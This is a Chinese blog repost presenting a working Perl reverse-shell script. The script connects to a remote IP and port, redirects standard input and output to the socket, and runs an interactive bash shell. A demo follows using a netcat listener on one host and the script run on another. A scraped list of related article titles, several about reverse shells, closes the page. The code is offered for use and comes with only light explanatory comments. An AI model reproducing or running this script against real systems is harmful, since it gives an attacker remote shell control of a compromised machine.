用Perl写的反弹Shell [转]
来源:互联网 发布:主人属下知错认罚规矩 编辑:程序博客网 时间:2024/04/30 19:54
用Perl写的反弹Shell [转]
说明:这个反弹shell的代码来自 anonymouslogin 的百度空间,无意中看到,用于Linux下面,和以前我在POC上看到的一个 comeback.pl代码很像很像 本人暂时没有测试 手头没有的Linux机子... 代码是我自己加上去的
laiwei@debian:~$ cat rebound.pl '用cat命令查看
#!/usr/bin/perl -w
#
use strict;
use Socket; '定义socket,准备套接字
use IO::Handle; '这个是句柄
if($#ARGV+1 != 2){
print "$#ARGV $0 Remote_IP Remote_Port \n";
exit 1;
}
my $remote_ip = $ARGV[0]; 'ARGV数组里面放公网IP和端口号
my $remote_port = $ARGV[1];
my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));
my $shell = '/bin/bash -i';
socket(SOCK, AF_INET, SOCK_STREAM, $proto); '这个东西学过VC++网络编程的人就能看懂,2个月前我看不懂 呵呵
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die "can not connect:$!";
open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "Enjoy the shell.\n";
system($shell); '执行
close SOCK; '关闭SOCKET会话
exit 0;
-------------------------------------------------------------------------------------------------------
演示:
在主机A上面
nc -l -p 8888 -vv
在主机B上面
./rebound.pl AA.AA.AA.AA 8888
- 用Perl写的反弹Shell [转]
- 各种反弹shell的方式
- 另一种反弹shell的方式
- golang写的反弹shell(自作孽不可活,切记,切记!)
- 反弹shell
- 反弹shell
- 反弹shell的几种方法
- 反弹shell的十种姿势
- shell反弹的几种方式
- 用nc反弹shell真有意思哈哈
- 用Perl写的FTP客户端程序
- 用Perl写的socket脚本
- 用perl写的一个网络爬虫
- 用Perl写的股票机
- cgi perl写的
- 用shell而不用perl/python的理由 shell/perl/python/php
- NC反弹Shell
- Linux 一句话反弹shell
- 36计教您如何提高PHP代码质量(一) 转自csdn
- vtkSTLWriter实现多个STL文件组合成一个STL文件输出
- http://www.pinterest.com/wyygdj55/%E4%BF%9D%E5%AE%9A%E5%93%AA%E9%87%8C%E6%9C%89%E6%9C%8D%E5%8A%A1%E5
- Android系统在超级终端下必会的命令大全(adb shell命令大全)
- 关于JAVA取本机ip的一些传说
- 用Perl写的反弹Shell [转]
- 判定表驱动分析方法
- CV特征征集
- SQL Server JDBC Driver 2.0中sqljdbc.jar和sqljdbc4.jar的区别
- Windows下安装Django
- 终端显示建议卸载:thunderbird-globalmenu
- jQuery对象与dom对象相互转换
- java中排序算法的实现(二)
- html css 鼠标事件